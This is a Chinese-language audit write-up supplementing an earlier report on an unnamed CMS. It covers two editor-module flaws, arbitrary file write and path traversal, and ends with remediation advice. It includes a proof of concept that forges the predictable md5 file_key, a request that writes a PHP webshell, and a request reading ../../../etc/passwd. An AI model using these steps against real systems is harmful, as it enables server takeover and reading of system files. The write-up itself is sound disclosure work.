对“某cms审计”的补充
字数 959 2025-08-24 23:51:20

某CMS安全审计补充文档

前言

本文是对某CMS安全审计的补充文档,重点分析了后台editor模块存在的两个高危漏洞:任意文件上传和任意文件读取。通过本文,您将详细了解漏洞的发现过程、利用方法以及修复建议。

一、后台editor模块任意文件上传漏洞

1. 漏洞发现

在审计过程中发现editor模块的create_node方法存在任意文件上传漏洞,但存在两个关键问题:

  • 上传路径的获取方式未明确
  • 上传文件内容为空

2. 路径获取方法

在正常使用模板在线编辑功能时,系统会暴露上传的绝对路径:

[此处应有路径获取截图]

3. 文件内容写入问题

进一步审计发现editor模块中存在save_file方法,该方法接收file_content参数:

public function save_file($file_path, $file_content, $file_key) {
    if ($this->checkFileKey($file_path, $file_key)) {
        $this->setFileContent($file_path, $file_content);
        // ...
    }
}

4. 关键验证机制分析

checkFileKey方法验证逻辑:

protected function checkFileKey($file_path, $file_key) {
    return $file_key === self::getFileKey($file_path);
}

getFileKey方法实现:

public static function getFileKey($file_path) {
    // 简单拼接后加密
    return md5('prefix_' . $file_path . '_suffix');
}

5. 漏洞利用步骤

  1. 构造POC获取file_key:
// poc.php
echo md5('prefix_' . '/path/to/target/file' . '_suffix');
  1. 利用save_file方法写入内容:
POST /editor/save_file
file_path=/path/to/target/file
file_content=<?php phpinfo();?>
file_key=[计算得到的key]

6. 漏洞验证

成功写入Webshell后访问:

http://target.com/path/to/target/file

二、新的任意文件读取漏洞

1. 漏洞位置

editor模块下的dir_list方法存在任意文件读取漏洞。

2. 正常请求分析

不传参时的正常返回:

[正常返回的JSON数据示例]

3. 漏洞利用方法

修改dir_path参数:

GET /editor/dir_list?dir_path=../../../etc/passwd

4. 实际应用场景

在模板编辑-在线编辑功能中:

  1. 第一次请求:正常请求
  2. 第二次请求:正常请求
  3. 第三次请求:调用dir_list方法

此时可修改参数实现任意文件读取:

[修改参数前后的对比截图]

三、漏洞修复建议

1. 任意文件上传修复

  1. 增加上传文件类型白名单验证
  2. 限制上传目录为指定安全目录
  3. 加强file_key的生成算法复杂度
  4. 增加管理员操作日志记录

2. 任意文件读取修复

  1. 对dir_path参数进行规范化处理
  2. 限制可访问的目录范围
  3. 增加路径合法性校验
  4. 实现目录访问权限控制

四、总结

本文补充了某CMS审计中未详细描述的两个高危漏洞:

  1. 通过editor模块的save_file方法实现任意文件上传
  2. 通过dir_list方法实现任意文件读取

这两个漏洞均可导致系统被完全控制,建议用户及时更新或按照修复建议进行防护。

附录:参考链接

  • 原始审计报告:https://xz.aliyun.com/t/10733
  • 本文补充POC代码示例
  • 相关漏洞验证截图
某CMS安全审计补充文档 前言 本文是对某CMS安全审计的补充文档,重点分析了后台editor模块存在的两个高危漏洞:任意文件上传和任意文件读取。通过本文,您将详细了解漏洞的发现过程、利用方法以及修复建议。 一、后台editor模块任意文件上传漏洞 1. 漏洞发现 在审计过程中发现editor模块的 create_node 方法存在任意文件上传漏洞,但存在两个关键问题: 上传路径的获取方式未明确 上传文件内容为空 2. 路径获取方法 在正常使用模板在线编辑功能时,系统会暴露上传的绝对路径: 3. 文件内容写入问题 进一步审计发现editor模块中存在 save_file 方法,该方法接收 file_content 参数: 4. 关键验证机制分析 checkFileKey 方法验证逻辑: getFileKey 方法实现: 5. 漏洞利用步骤 构造POC获取file_ key: 利用save_ file方法写入内容: 6. 漏洞验证 成功写入Webshell后访问: 二、新的任意文件读取漏洞 1. 漏洞位置 editor模块下的 dir_list 方法存在任意文件读取漏洞。 2. 正常请求分析 不传参时的正常返回: 3. 漏洞利用方法 修改 dir_path 参数: 4. 实际应用场景 在模板编辑-在线编辑功能中: 第一次请求:正常请求 第二次请求:正常请求 第三次请求:调用 dir_list 方法 此时可修改参数实现任意文件读取: 三、漏洞修复建议 1. 任意文件上传修复 增加上传文件类型白名单验证 限制上传目录为指定安全目录 加强file_ key的生成算法复杂度 增加管理员操作日志记录 2. 任意文件读取修复 对dir_ path参数进行规范化处理 限制可访问的目录范围 增加路径合法性校验 实现目录访问权限控制 四、总结 本文补充了某CMS审计中未详细描述的两个高危漏洞: 通过editor模块的save_ file方法实现任意文件上传 通过dir_ list方法实现任意文件读取 这两个漏洞均可导致系统被完全控制,建议用户及时更新或按照修复建议进行防护。 附录:参考链接 原始审计报告:https://xz.aliyun.com/t/10733 本文补充POC代码示例 相关漏洞验证截图